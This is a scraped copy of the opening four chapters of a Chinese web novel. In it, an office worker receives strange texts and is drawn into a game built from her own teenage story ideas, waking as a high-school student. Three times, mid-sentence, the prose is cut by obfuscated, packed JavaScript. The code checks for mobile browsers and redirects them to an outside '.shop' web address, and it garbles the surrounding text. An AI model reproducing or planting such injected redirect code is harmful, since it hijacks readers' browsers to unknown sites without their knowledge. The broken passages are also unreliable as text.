《被原耽男主层层包围【无限】》 1. 第 1 章 01 对于一个思绪极易发散的人来说，好像很难搞清楚，假如四周环境突然让人觉得不安，到底是因为环境确实发生了变化，还是因为自己再度突然开始捕捉那些平时没有抓住过的细节。 从公司走到地铁站大概需要十分钟，音乐软件播放本地最新下载的三首歌的时间。按照鼓点节奏走的话，差不多歌手唱完尾音的时候，步绾踏进地铁站。 同一条道路她已经数不清走了几次，手上提着重物不方便看手机的时候总会随意打量。来来往往的人要么和同事朋友说说笑笑，要么神色漠然大概疲于工作。也许这张脸她已经见过很多次，却没有任何留存的印象。 还是哪里不对劲。 步绾将手机塞回了兜里，往上拉了拉口罩遮住自己的大半张脸，再将鸭舌帽往下按，又忍不住想，也不知道自己看起来是更像自以为隐蔽出街的网红，还是更像看起来就不好惹的秘密执行人员，当然也可能更像又中二又社恐的街溜子。 后者的可能性更大一点。 这时候耳机里的音乐换成《乱世X星》可能会更符合气氛一点。 “叮”。 所有的畅想在提示音响起的时候化为粉末，她的第一反应是不做人的领导又在下班后给她派活，苦中作乐地想着离公司还没走多远，还来得及回去加班—— 妈啊，什么悲惨打工人啊。 步绾再度摸出手机，眼神些许变了变。 她收到了一条短信，响起的却是工作软件的提示音。 是一条广告短信，信息内容是：「瑞辉联合保险」尊敬的客户，在您生日来临之际，瑞辉联合保险衷心祝福您生日快乐！身体健康！阖家幸福！打开软件搜索“瑞辉联合保险”，瑞辉联合，保险典范，守护您的每一步人生旅程。退订回复Reborn。 手机在指间轻巧地转了半圈，微微滑落，又被她捏紧。 这动作是她看的某部番剧里一个角色喜欢做的动作，看起来非常BKING，步绾自己偷摸着练了好久，为此也不知道摔裂过多少次屏幕。后来这莫名变成了她思考时的下意识动作，像游戏角色的待机动作一样，思考的时候手上总要转点什么，笔或者手机，不管趁不趁手。 收到短信的时间是18:31，号码也是符合骚扰短信的一长串1069打头的数字，来自全国范围内的非经营性短信服务第三方平台。 倒不提她压根没给自己投过保的事，今天是3月14日，她生日在年末，这个“来临之际”来得早得过了头，颇有一种“既然情人节已经过了给你拜个早年吧”的架势。 保险公司的名称闻所未闻，引擎上搜索了一下只有三条相关记录，并没有什么有用的信息。 当然，让她笃定有问题的是“退订回复Reborn”。 一般情况下而言，这里出现的应该是“回复T”或者“回复TD”。谁家退订会回复一个大长单词啊！？反正不想让人退订的话，还不如直接“继续订阅回复D退订回复元素周期表”得了。 虽然回复了TD反而会被认定为活跃手机账户，后续会收到更多骚扰短信。 而且“Reborn”这个单词也很奇妙。 撇去其本身的“重生”和“轮回”的含义，它同时也是理论上只有她自己知道的，她的文件夹的加密密码。 步绾面无表情地踏进了地铁站，耳机里的音乐隔绝了周遭的喧哗，却又莫名放大了她不安的心跳。她几乎没有犹豫地将声音降到比最低高一点点，顺着人群流进地铁，盯着地铁门上玻璃的倒影发呆。 密码是她高中时候设的。 步绾打小学开始自己的创作生涯，现在还记得第一篇同人是《美XX战士》的，第一篇原创里她是个芳龄十二岁冷酷冷血冷傲冷艳的杀手。 只是因为各种限制，“大作”的呈现方式全靠手写。上了高中也没好到哪儿去，上课晚自习摸鱼写小说，只是承载物从超市里五毛一本的彩面抄变成了花里胡哨的各色薄本。 周末的时候就将手写的版本腾到电脑上。介于这台电脑全家共享，她又不想让家里知道自己写小说，更不想让他们对自己的“大作”指指点点，于是自学成才地将文件隐藏了D盘里一个很少打开的文件里，并且加了密。 密码当然不能用父母一猜即中的自己生日，于是便选用了当时她最喜欢的动漫角色Reborn作为密码。 步绾原先的猜测是短信直接在暗示其中文含义，但略一思索便觉得不像，因为完全没必要区分大小写，首字母大写的单独单词在此刻更加像是作为人名的提示。 不过这种推测其实也有一些牵强，完全是假定该短信是以她为特定目标而非广撒网。 她盯着玻璃发呆，继续胡思乱想。 但如果确实是以她为特定目标呢？ 按照小说里的套路，最常见的应该是她这时候已经死了，只是没意识到这一点，茫然地遵循着死前一天的生活轨迹，就好像黄泉路上游荡着的游魂，反反复复经历着同一天。 但说真的，重复着永无止境的上班是不是有点可悲得过了分啊？她昨天可是加班到晚上十一点啊？！你要让她无限轮回不能让她轮回个不加班的周末吗？！ 步绾半是悲愤地想着。 不过其实也有一种可能是，她是一个副本里突然觉醒了的NPC，然后拥有了自我的意识。 或者是一个再来一次的大佬玩家，抹去了全部记忆、能力，洗成了一个白板号就为了换回点什么，比如什么世界和平啊，比如拯救自己目前还没想起来的爱人啊啥的。 …… 但好像大佬一般也不会有“自己是隐藏大佬”的这种意识吧。 他们一般都非常有“自觉”——坚定地认为自己是什么咸鱼、路人甚至垃圾，完全不会像她现在这样“自信”。 完了呀。 她心生绝望。 步绾的思绪一路扯远。 她对自己有着极其清晰的自我认知，胆小又善脑补简直是双重debuff，所以从没去过恐怖密室，看喜欢的游戏主播直播恐怖游戏也从来都是切最小屏放最低音，心知肚明比之恐怖游戏小说来更让她害怕的是她自己睡觉前忍不住的瞎想。 而且真要说的话，虽然喜欢看各类策略解密类小说，但看的时候基本上都在惊叹主角的神一般思维和泰山崩于眼前仍不动声色的云淡风轻，简称土狗爱看爽文。 步绾非常有自知之明地确认，假如她真被卷进了一个什么恐怖游戏，基本上就是开场尖叫逃窜的炮灰，当然也有可能连尖叫都发不出来，直接在看到NPC的时候两眼一闭永眠。 ……往好处想，也不一定是恐怖小说呢。 她胡思乱想着，又顺着人流下了车。 没有丧尸，没有僵尸，没有鬼怪，没有副本。 什么都没有发生。 偏偏她的心脏跳动得越来越急速，越来越响，像是要把肋骨扒开来从中逃出一样。 步绾将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652705|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直抓在手里的手机解锁，瞥了眼时间，18:58，右上角只有一小格信号，可可怜怜地缩在那里，后面没有5G或者4G的字样。 18:58。 “诶，那边那个小姑娘，别站黄线里发呆啊。” 步绾意识到对方是在喊她，下意识迈出一步。 迈出的第一步也许有些艰难，接下来的步伐便显得容易了很多。 她顺着或许本不该听得清楚的耳机里的音乐鼓点，又或者是自己砰砰的心跳，假装平静地往楼梯走去。 搁平时懒惰的自己，她绝对会平地多走两步去前方的扶梯，但是在这么个场合，她非常担心突如其来的“扶梯杀”，比如什么突然的竖立塌陷卡顿，还是不会动的楼梯来得保险一点。 明明到现在理论上一切正常的，应该是最近无限流小说看得有点多，外加最近加班太多了有点焦虑才会这样想七想八……想点别的吧，想点别的吧。 ……也不知道出了地铁站会是什么情况…… 还能出地铁站吗？ 18:59。 “叮”。 步绾身体一僵，她无法判断这回是收到了短信还是工作信息，也根本不需要有不祥的预感，因为这摆明了就不是什么好消息。 她甚至开始祈祷是领导发过来让她回去加班的消息。 ——苍天保佑是我瞎想是我脑子有病过于敏感而不是什么恐怖小说无限轮回这种奇奇怪怪的玩意儿啊啊啊我宁可回去996啊老板救命啊一定要是老板发来的消息啊谢谢老板啊啊啊我愿意为了单位奉献一切我热爱公司我热爱工作—— 她缓缓呼出一口气，闭了闭眼，艰难地做出了好几秒的心理斗争，点开短信。 发件人的号码为82512419252518263，看起来像一串随机的乱码，没有任何的顺序可言。往下第一行便是一串英文。 【Wee to the battlefield on the April 1st.】 步绾：？ 她在心底缓慢地打出了一个问号。 下面还有一串奇奇怪怪的语言。 【Benvenuti sul campo di battaglia il 1 aprile. ……Loading…… Dobrodo?li na bojno polje 1. travnja. ……Loading…… ようこそ四月一日戦場へ. ……ダウンロード中……】 步绾再度停住脚步。 她突然觉得有点牙疼。 【资源载入完成。 聪明的你想必想起了这熟悉的没厘头没由来的拼凑词汇是出自谁的手吧？ 没有错！ 我们伟大的造物主大人，我们的神明，我们的创世者，我们的GM，我们的内核！ 可怜的步小姐被拉入了这个游戏，被拉入了永恒的四月一日战场！ 你所热衷的异世直播，你所热衷的无限探险，而你！也成为了被造出的神明！ 普通的学生，普通的工作人员，但你内心从来就清楚你并不普通，也不甘心做个平凡人！现在，世界意志告诉你，你的猜想没有错，你的认知没有错，你就是被造出的神明！ 神明由谁来定义？ 神明的命运由谁来定义？ 欢迎来到四月一日战场！】 2. 第 2 章 02 江郎才尽这个词常用来形容才思减退，都说一个人愈长愈大灵气也会逐渐减少，成年人绞尽脑汁写出的文字或许也抵不过稚嫩儿童的灵光一现。 步绾其实也深深感觉到这一点。 她从小学开始作文成绩一直非常优异，却也敏锐地发现自己的文字逐渐落入俗套，自以为“现实”地追逐着批卷老师的喜好，一点点地放任自己的灵气生锈。 只是初高中的时候她一直没有停笔，哪怕文字并不是很让自己满意，她还是忠实地记录下自己的每一个脑洞。反倒是大学闲暇且有了电脑之后，创作便少了很多，也发现自己的文字功底逐步衰退，常常词不达意。 不只是文字功底，连脑洞都没那时候来得巨大。 “四月一日战场”便是步绾初二时创建的词汇。 确切来说应该是一系列脑洞的总览标题。 系列的内容大概便是数个平行世界，男女主角在数个世界试图存活的故事。 那时候还没流行无限流，步绾也没这么神到提前预知到几年后的小说潮流。搞了所谓平行世界的设定，也只是因为懒得取那么多人的名字，主角俩的名字用了恨不得十多年，且因为取得非常中性，无论什么性别都适用，此处特指，男女主也用，男男主也用。 当然还有一个原因就是XP从来没变过，来来回回就是那么几个人设。 这系列显然是坑了，而一个普通人记性再好也不可能记住自己初二时列的要写但没写的脑洞，更遑论这标题下的简介就一句话 ——我们活着，只是因为他们希望我们活着。 那时候为什么要写“试图存活”呢…… 倒也没有什么特别的理由，只是纯粹觉得，在大家沉迷她逃他追插翅难飞的各种校园拉扯、霸总玛丽苏文学的时候，自己写这种BE非常酷，非常与众不同，非常“成熟”罢了。 初高中的时候，步绾最喜欢写这种看起来非常绕口凤采鸾章的文字，其实就是大段华丽词藻的堆砌，现在回想一下还是觉得有点厉害的，毕竟对于现在的她来说，有些词她可能还需要去网上搜一下是什么意思。 除了喜欢能称得上是花里胡哨的遣词外，她还喜欢用各种小众语言来彰显自己的“文采”，譬如那句“欢迎来到四月一日战场”的各种语言翻译，大概率就是她用的什么网页进行的机翻。 当然，现在或许步绾该庆幸，这些脑洞都是她初高中写的。 等年纪再大些，虽然文笔不如小时候那般有灵气，世界观不如以前设定得那么“有创意”，但显然更有逻辑且完善得多。 她看着短信，掌心感觉到有些黏湿，是出了汗。 【…… 欢迎来到四月一日战场！ GM在祂的游戏里自然有祂的特权，神明在祂的殿堂里俯瞰众生。 伟大的创世者啊，你将拥有至高无上的权限！ 原地复活和回营地复活的技能永远为你开启，他们被禁锢在愚人的狂欢节里，唯你这位智者依旧在游戏人间。 你可以投诉每一个让你有不愉快副本体验的NPC，也可以施予奖赏，创世者的游戏体验从来是在第一位！ 小心，卑劣的偷窃者永远在觊觎你的王座，不要让他们发现你的身份，不要让他们知道你在寻找什么，不要相信人类。 该如何假扮一位普通玩家？从玩家收到的短信开始！ 以下为玩家接受的短信版本： 「系统」：欢迎来到四月一日战场。 我们活着，只是因为他们希望我们活着。 我们战斗，只是因为战斗赋予我们生存权利。 可为什么偏偏是四月一日？ 于是我们的鲜血成了愚人的愉悦，于是我们的眼泪成了愚人的痛楚，于是我们成了愚人，于是愚人看着我们。 开玩笑的，今天可是四月一日呀。 这只是一场游戏！享受游戏吧！让欢声笑语充满游戏的每一个角落！ p.s.当然，该严肃的场合还是不要让欢笑代替眼泪？ 欢迎玩家编号XXXX加入四月一日战场。 战前提示： 1.战场不欢迎逃兵。 2.最终的游戏胜利者也是最终的胜利者。 3.不要向宇宙许愿。 4.****** 再次，欢迎来到四月一日战场！】 步绾只能从短信里提炼出几点内容。 一是这玩意儿应该是打着自己脑洞名的无限流副本，说得含糊但大概意思应该是，不允许临阵脱逃或者“消极怠工”，积极参与游戏的赢家最终会获得奖赏。如果这里又是类似于死者复生本的话，那大概就是重生的机会。 只是如果真是这样的话，那么对步绾自己则是更不友好了。 命运的每一份馈赠都被其暗中标了价，她目前看起来算是隐藏的GM，不会死、能搞NPC，唯一的任务要求就是隐瞒自己的身份、假装自己是普通玩家，再加个她对自己要求的：挖掘出自己和“四月一日战场”的更深联系，换言之，“四月一日战场”到底是什么。 步绾胡思乱想着，忽然发现短信里又弹出一个框。 【只有神明一人注视着屏幕时，世界的提示才会彰显。】 她一愣，便见这条消息和上面的数段信息隐去不见，只留下那个所谓的“玩家接受版本”，没过几秒又出现，步绾意识到这是在告诉她这些消息是会自动隐藏的。 她注意到，那句“欢迎来到四月一日战场”前多了一串数字。 「系统」：欢迎玩家编号018-46912来到四月一日战场。 这应该是她明面上的玩家身份编号了。 很快，她又收到了新的短信。 正正好好，19:00。 【「系统」：D级副本“第一中学”已开启。】 步绾的头脑一片空白。 她颤着手指，强行压下心里的恐慌，注意到这回和先前那个面对所有玩家的版本里都有个“系统”，这个“系统”就好像平素收到的营销短信里的广告商家名字，比如那个什么“瑞辉联合保险”，或者什么“XX快递”。 【在教育的星辰大海中，第一中学宛如一颗璀璨的明珠，闪耀着独特的光芒，等待着你的发现与选择。 第一中学创立于1920年，百年的传承与积淀，赋予了我们深厚的文化底蕴和卓越的教育品质；雄厚的师资力量，给予了我们引以为傲的资本。 我们的课程设置丰富多样，我们的教学设施现代先进，我们的校园环境优美宜人。 选择第一中学，就是选择了一个好的起跑线！ 副本通关目标：通过周测。 副本通关提示：光是及格是没用的哦。】 歩绾简直想用视线把手机屏幕凿个洞出来。 没有规则只有一条简单的提示，还俏皮地以“哦”结尾，显得好像多有人性一样。她倒宁可现在拿到手的是什么规则怪谈，起码还能从中收获点什么有用信息。 这种什么璀璨明珠百年传承的介绍到底有什么用啊？！我又不是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652706|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的去你这个破学校就读！ 说是D级但是不知道最低的到底是D还是什么EFG，也没有说会不会死人，当然好像小说里一般也不会给出这么个提示——但是人家好歹是个GM诶！没一点对GM的额外提示吗？！这个GM当得也很没面子啊！ 歩绾强行用吐槽缓解内心的不安，摘下因为音量开得很低差点忘了佩戴着的耳机，同时悄悄观察着旁边来来往往的路人，试图发现一点端倪。 结果就是一眨眼的时间，在短暂的眩晕感消失之后，她发现面前的环境发生了变化。 这是一间卧室，面积比她的房间可大多了，四面墙上都贴着小碎花壁纸，正对着她的墙上贴了十几张海报。 海报上是帅哥，但不太符合她的审美。海报上人数也不一致，有七个的、四个的，也有三个人，粗粗一看也分不清这里面有没有重合的人。 歩绾挠了挠头，确定了自己目前的身份应该是个追星的小姑娘，结合副本名的话应该是个高中生。 她握着的手机也不见了，取而代之的是手腕上突然出现的手表。手表中间的时间闪现了一下，变成了倒计时，167多个小时，算了一下大概七天。 歩绾抓紧时间把能翻的翻了一遍，大概搞明白了目前的身份。 身份叫顾南栀，必须得说，这名字像极了她上学时写小说会取的那种文艺但没用的名字。现在读高二，不住校，家就在学校对面，每天自己走路上下学。 学校正是那个百年传承的第一中学，确实如同介绍得那般优秀，升学率的数字好看得惊人。管得倒也不像大家认知中的重点高中那样过于严苛，早上七点早读，中午十一点半放学；下午两点上学，晚上十一点放晚自习。 高一生每周单休周日，高二生周日上午周测完就放学，高三生只有周日晚上休息。 如果没有发生意外的话大概就是周日上午考完周测，成绩出来了就算副本通关了。 歩绾努力回忆了一番，发现想不起来自己高中时候是怎么个日程了，就记得什么有个周六晚自习哪个学生和教导主任打起来了，有一次跑操的时候有不良少年占据了广播室自以为帅气地和女生表白，这种稀奇古怪的事情。 其他是一点印象也没有。 歩绾又挠了挠头，脱离高中时间太久她从记忆里根本翻不出一点有用的信息，只能抓紧时间继续搜索身边的有用信息。 桌上放着五三，草草翻了几十页，错误率倒也不是很高，也不知道这小姑娘是抄答案糊弄老师，还是成绩确实就很好。 追的明星叫HEPTA，不知道什么意思，她贫瘠的英语水平想不到翻译。只是不知道这个明星的身份在这儿有什么用，她甚至都没翻出个手机来，更看不出来顾南栀有没有什么特殊身份。 门突然被打开。 歩绾心脏几乎是骤停，她下意识地猛地扭头看向门的方向。门先前应该是没关紧的，所以被突然推开她也没听见什么声音。 站在门口的是一个中年女性，并不是什么相貌可怖的存在，甚至真要说的话她算得上是和蔼可亲。她身形不算很高，穿着看起来像是棉布的睡衣，头发还带着点湿意，大概是吹头没吹到十成干。 “怎么还没睡？”中年女性眉心一拧，明明也没什么吓人的，但歩绾却偏偏像感受到了什么压制，下意识吞了口唾沫。 她还没来得及组织语言想什么借口，那人就眼尖地盯上了她手中还没放下的专辑，火气像是猛地被燎了起来，把半开的门大力拍到墙上，大步走过来，将她手中的专辑往地上一掼。 3. 第 3 章 03 “顾南栀！” 尖利得不像是人类能发出来的声音几乎要把歩绾的耳膜刺破，很难说有人的声音居然会成为一把武器，一把锋利得好像能将跳动火焰里的飞蛾剔出来的刀。 那把刀现在穿过了歩绾的脑子。 她的沉默被中年女性误解成无声的反抗，一巴掌拍上了书桌，垒得并不整齐的纸本坠落了一地，像被剔出来的灰色飞蛾的翅膀。 “你是不是要气死我？！” 一声嗡响，蜗牛以她的脑浆为河流，慢悠悠地淌了过去，腹足底部分泌的粘液黏走了飞蛾的断翅。 歩绾清醒过来，她讷讷道：“我刚在收桌子……” “还狡辩？”中年女性细眉一扬，就好像即将要高高扬起的巴掌一样，“你平时花钱买这些娘娘腔的破纸片子就算了我也不说你了，你都高二了，你看看你现在成绩掉到多少了，你怎么还好意思看啊？怎么，你以为你是隔壁那贺清璟不用学也能火箭班啊？！” 歩绾听到这种熟悉的话下意识就觉得烦躁，但是听到更加熟悉的名字之后又转为了略有些莫名的无语。 贺清璟这名字是她当年上晚自习时翻字典翻出来的男主名字。当时流行男主姓什么叶顾林苏沈，所以她“另辟蹊径”取了个贺，越看越觉得贺这个姓不错，于是一姓万人用。 光是出现了个贺清璟的人名其实判断不出什么有用的信息。 “行了行了，才高二呢，现在给孩子上什么压力。” 佝偻着显得矮小的老人出现在了门边，她的面容比之中年女性还要和蔼，那皱巴巴的纹路像一朵奇异的向日葵，让被注视的人因为感觉到自己是太阳而无比开心。 “知知呀，”老人慢悠悠但不由分说地格开了剑拔弩张的两人，笑眯眯地问道，“明天又要上学啦，早饭想吃什么呀？喝白粥还是吃菜面呀？” 歩绾声音很轻：“……白粥。” “那明天早上就喝白粥。”老人和善地拍拍女性的手臂，一步一步地又晃了出去，好像是一个来提醒中场休息的演职人员，告诉她们现在该放观众们去看广告了。 “早点睡觉。”中年女性表情也和缓了下来，嘴唇翕动了两下，似乎想要说些什么来缓解气氛，最后又变成了唠叨，“知知，别怪妈说这么多次，再忍忍，忍个一年多，高考结束了，你想追谁就追谁，你考上锦大了的话，你想看几场那个什么黑皮套的演唱会，我都给你买。” “我知道……”歩绾多年斗智斗勇早就有了经验，于是也退后一步，“妈，我就是有点紧张，下周又要考试……” 女儿服了软，妈妈也不再紧逼：“嗐，一个周测紧张啥呢，又不是月考期末考，没事，你正常发挥就行。” “你把房间收一下就睡觉啊，不要看这些东西了，别明天起不来了。” 中年女性离开了房间，反手带上了门。 歩绾站在原地，看着门关上之后才蹲下来慢吞吞地收拾着地上的狼藉。这个妈妈即便在副本里也还是有一些常人家庭里不会有的美德的，比如她居然会随手关门。 天知道一个母亲怎么会允许她的女儿和她之间存在着任何隔断。 门居然是能关上的，门上居然是没有猫眼的，门上居然是有完好的锁的。 歩绾将所有东西都理回了桌面，一边梳理着自己繁杂的思绪。 首先显而易见的是，她自己就不对劲。她有了一些，呃，不知道怎么用言语来简单概括的，奇妙的想法。 比方说，到底是怎么能把一张和蔼的老人笑脸看成一朵向日葵的？ 偏偏要她现在去回想，她又觉得那一段短暂的记忆里像蒙着雾。 不过真要说的话，她现在感觉自己整个人的脑子都像蒙着一层雾。 这个副本最简单的行事逻辑大概就是扮演一个高中生不露端倪，然后成功通过周测。但是，除此之外呢？ 歩绾茫然地看着算不得整齐的书桌，不知道自己下一步该做些什么，能做些什么。没有明确的规则去探寻，不知道触碰规则的代价到底是什么；没有确切的任务要完成，不知道该做些什么能触发任务…… 这么想着，她的眼皮却逐渐沉重了起来。 ——我成了一只快速燃烧的蜡烛，迅速地融化在床上……等等，是熔化还是融化？我马上要成为高中生了，怎么连这个知识点都记不清？对了，我是文科生还是理科生？最好不要是没用的文科生，没用的文科生从事了这个世界上最没用的职业！每天加班拿着稀薄的工资，做着女人最该从事的文职工作！ 不是说好了朝九晚五的文职工作？女孩子还是不要在外面应酬！不要让酒精的恶臭玷污纯洁的小姑娘！天哪，不应酬的话就拿不到工资，加班那么久也比不过人推杯换盏的一个个晚上！ 那要学习没用的理科吗？突然来做实验的外来人员，真菌污染的培养箱，发不出去的一作。什么活都能推给你的年轻女博士，生活里就是嫁不出去的大龄剩女！读什么博？当然你结了婚的话读博也行，先成家再立业嘛，最好一边生个孩子一边读博，家庭事业两手抓！ 没有任何问题！ 大家都只是一个生锈的腐烂的走动的大球上的螺丝钉而已，没有人需要在意螺丝钉的想法，更何况你还是一颗雌螺丝钉！ 天哪，螺丝钉居然给自己冠以了性别！ 观看着直播的家伙们呼朋引伴地喊大家来看这颗自认为是雌性的螺丝钉。 * 步绾醒来的时候躺在床上，枕头边闹铃叮里哐啷地响，吵得她心脏有点疼。 她有些想不起来自己怎么睡着的，慢了半拍才反应过来自己现在正在一个副本里。手表上的倒计时已经自动给她扣除了夜晚的睡眠时间。 看来睡眠时间是强制的，住所能不能算一个安全所暂时还不确定，别回头真把家当安全港湾了，结果回家就被暴怒的母亲来个开门杀。 步绾下了床去洗漱，一切都仿佛她真的是一个高中生那样正常进行。 老人在厨房里忙活，听到她的动静探出了半个脑袋，笑容如昨晚那般慈祥疼爱：“知知起来了呀？菜面马上好了。” 步绾一愣，她总记得昨晚自己好像说的是白粥？她现在该说些什么做些什么？什么才是一个高中女生应该有的反应？什么才是一个被宠爱的孩子应该有的反应？ 她试探着，做出一副不满的样子：“昨天不是说喝白粥嘛？” “哎呀，白粥没营养，菜面有营养，要多吃点青菜，吃青菜对脑子好。” 步绾垂了垂眼，退了半步：“那晚上不要吃菜面了。” “好好好，晚上吃白粥。” 早饭是正常的早饭。 她不太喜欢吃非常筋道的面，更喜欢吃软烂如糊的，像喝一碗汤一样将面吞了下去。老人避开了她想要收拾的手，念念叨叨着让她去上学，自己麻溜地将吃完的碗筷端回了厨房。 “快到时间了，隔壁贺小子也该准备好了，你去敲敲他家门。” 啊？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14652707|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >步绾茫然了一瞬。 看她迟迟不动，老人倒也不意外：“唉，别把你妈昨晚那话放心上，她呀就是刀子嘴豆腐心！别影响你和贺清璟那关系，人以后说不定就是你人脉呢！” 步绾还没反应过来，就听到敲门声，只得去开门，门口站着一个非常清俊的少年。 少年看了她一眼，眼神看不出什么来，平静且……倒也算不上陌生，总之就是这样地扫视了她一眼，然后温顺有礼貌地和老人打了一声招呼： “奶奶好，我来找顾南栀一起去上学。” 然后就这么莫名其妙地一起往学校走去了。 步绾稍稍落后了半步，小心地打量着这个不知道是不是npc的“同龄人”。 贺清璟这个人确实人如其名。 他身形颀长，粗粗看大概得有一米八。这个学校似乎并不要求穿校服，他的穿着使他看起来像那种日漫里的樱花树下的校草。 应该不是npc吧？学校里不让男生留这种像瓦片一样的刘海吧？ 这发型跟那海报上的男团成员似的，话说HEPTA到底啥意思啊？不知道这个讯息有没有用，她还没来得及查资料呢。 “新玩家？” 歩绾一愣，下意识顿住了脚步，然后跟找到了主心骨似的，眼睛亮晶晶地看他：“诶你是老手嘛！” “也不算，”他的声音比起刚刚在老人面前来说要稍微冷一些，微微低垂着眉眼似乎有些倦怠的样子，看起来倒不是很想给新手介绍游戏，但还算耐心地讲解了一番，“我下副本大概三次。你平时玩端游吗？” 歩绾点了点头：“剑三鬼泣巫师FF……” “我们现在身处一个游戏，‘四月一日战场’，你可以把它当作一个点卡游戏，但是能买点卡时间的不是人民币，是积分。”他也没打算听她玩什么游戏，事实上他也看出了对方只是在缓解进游戏之后的紧张，态度反倒更加平和了起来，“积分能够兑换很多东西，包括现实世界的生命，这个你出本之后慢慢看。” 毕竟被卷进游戏的人都是有强执念的人，他得先用饵勾住新玩家，让对方冷静地接受现状。不过好在身边这人看起来还算沉稳，没有像上个副本的队友一样哭闹不停。 “每一个副本如果有新手的话，那么会有两个所谓的老玩家当指引人，我们一会儿到了学校应该能看到。新手副本的话‘据说’死亡率很低，当然要排除刻意送死的情况。” 歩绾问道：“所以我们的家应该算是一个安全屋，在到校之前我们不会出事？” 对方倒有些意外于她已经能够开始分析情况了，点了点头：“目前来看是的，毕竟睡眠时间是必须度过的。” “我在游戏里的名字是贺清璟，加贝贺，清澈的清，王景的璟。建议你不要把真名透露给游戏里的玩家，我的编号是016开头，你是多少？” 歩绾眨了眨眼：“018。” “所以你应该看得出来，玩家不一定都是人类。”贺清璟嗤笑了一声，满是讽刺意味，“玩家来自于不同位面，显而易见的是不是所有位面人类都配主导。即便没有官方明面说法，但是大家都默认，能参加这场游戏的人不是生死之际被卷进来的，就是执念太强被主动吸引的。这样的前提下，队友是什么成分不得而知。” 步绾再次沉默。 她是下班路上被卷进来的，什么执念？对老板让她加班的执念吗？！ …… 那得是怨念了。 而且怨念极强。 4. 第 4 章 04 上学路上贺清璟担当了一个堪比指引人的身份。 他简略地介绍了一番他在家里的发现，给她打了个样。 “贺清璟”确实非常符合歩绾年少时候喜欢写的男主设定。 家境优越且成绩优异的清冷美少年，是学校里很多人暗恋的存在。不过也只是暗恋，几乎没有人去和贺清璟表白，原因也很简单，首先大家学习已经很累了，其次暗恋大部分时候可比谈恋爱来得美好得多，最后大家都承受不住表白被拒的难过和尴尬。 虽然第一中学的管理相较于本市其他高中来说算得上宽松，但施加下来的压力足以让学生们喘不过气。 ——虽然早上七点才开始早读，但是被发现打瞌睡的人会被要求早餐时间去操场边跑步边大声背书；上午的跑操要求喊口号，不整齐的要被留下来绕校园跑五圈；下午的跑操要边看词汇小册子边跑…… 也还好吧。 歩绾想，没搞明白有什么好压力好恐怖的，谁不是这样过来的。 然后她学着贺清璟的样子汇报了一下自己的身份。 她叫顾南栀，没什么特别多的信息，最为瞩目的是追星，追的明星叫HEPTA——贺清璟告诉她，HEPTA是意思为七的词缀，源自于希腊语HEPTA——其他没有什么特别的信息，就是家里比较望女成凤。 哦，还有一点是希望和你打好关系，毕竟你家好像很厉害的样子。 贺清璟听了沉默了一会儿，不知道在想什么。 反正也快到学校了，他也没有再深聊关于游戏的事情，只是表示，如果你有学习上的问题可以来高二一班来找我。 一到四班是火箭班，一班是火箭班中的特优班。 歩绾点了点头。 反正小说里不可能出现真正意义上的学渣的，再怎么混世大魔王也要考top1。 她来到自己的班级。 班级教室在四楼，她来得很早，这点上她大概和贺清璟抱着同样的心思，早一点趁着教室里没人赶紧确认自己的位置。 普通班和特优班的差别大概就在于，这个点特优班已经来了一半的人，而她的教室空无一人。 她索性抓紧时间仔细探索了一番这个教室。 教室大概翻修了一番，居然还装了空调，这点让人意想不到。事实上歩绾试图回忆自己的高三，好像只能想到一个汗涔涔的夏天。 每天放学之后大家都得关了窗再走，五六十个少年人挤在一间狭窄的教室里，自然不会有很好闻的味道。油漆味、粉笔味、霉味和不知道什么的气味复杂地拧和在一起，配上熟悉的场景布置，让歩绾心里不大舒服。 黑板擦得不是很干净，粉笔遗留的白色污痕像是一团乱花，大片大片地铺在死寂的墨绿上。黑板上八个红色鲜明的宋体大字，端正得让人头晕目眩。红字的右边是时钟，时钟是新换的，寿终正寝的老钟还放在教师最后面的废桌上。 木桌木椅，每一张桌子上都堆砌着或整洁或凌乱的书本和试卷。 讲台上还贴着座位表，她凑过去看了眼，每个人名字旁边都用黑笔和红笔写了两个数字，大概是两次考试的排名，不知道是周测还是月考。顾南栀的位置在第三排，黑笔写着4，红笔写着12，看不出来是进步还是退步。 看样子是按成绩排的序。 哦，除了讲台一左一右那两个位置，名字旁边的数字都有些大，她看了眼名字，左边的叫凌研钊，红笔和黑笔都是58，是最大的数字，看来成绩非常稳定；右边的叫曹光成，红笔47黑笔52。 这个副本可真写实。 哦，不对，以她的小说为蓝本，那必然写实。她的文自然完全局限于她的认知以内。 歩绾想起自己初中时候写的某对CP的同人文，攻出了国和受再也联系不上了，然后费尽心思托人办了一张“全球通”的电话卡，总算联络上了受。 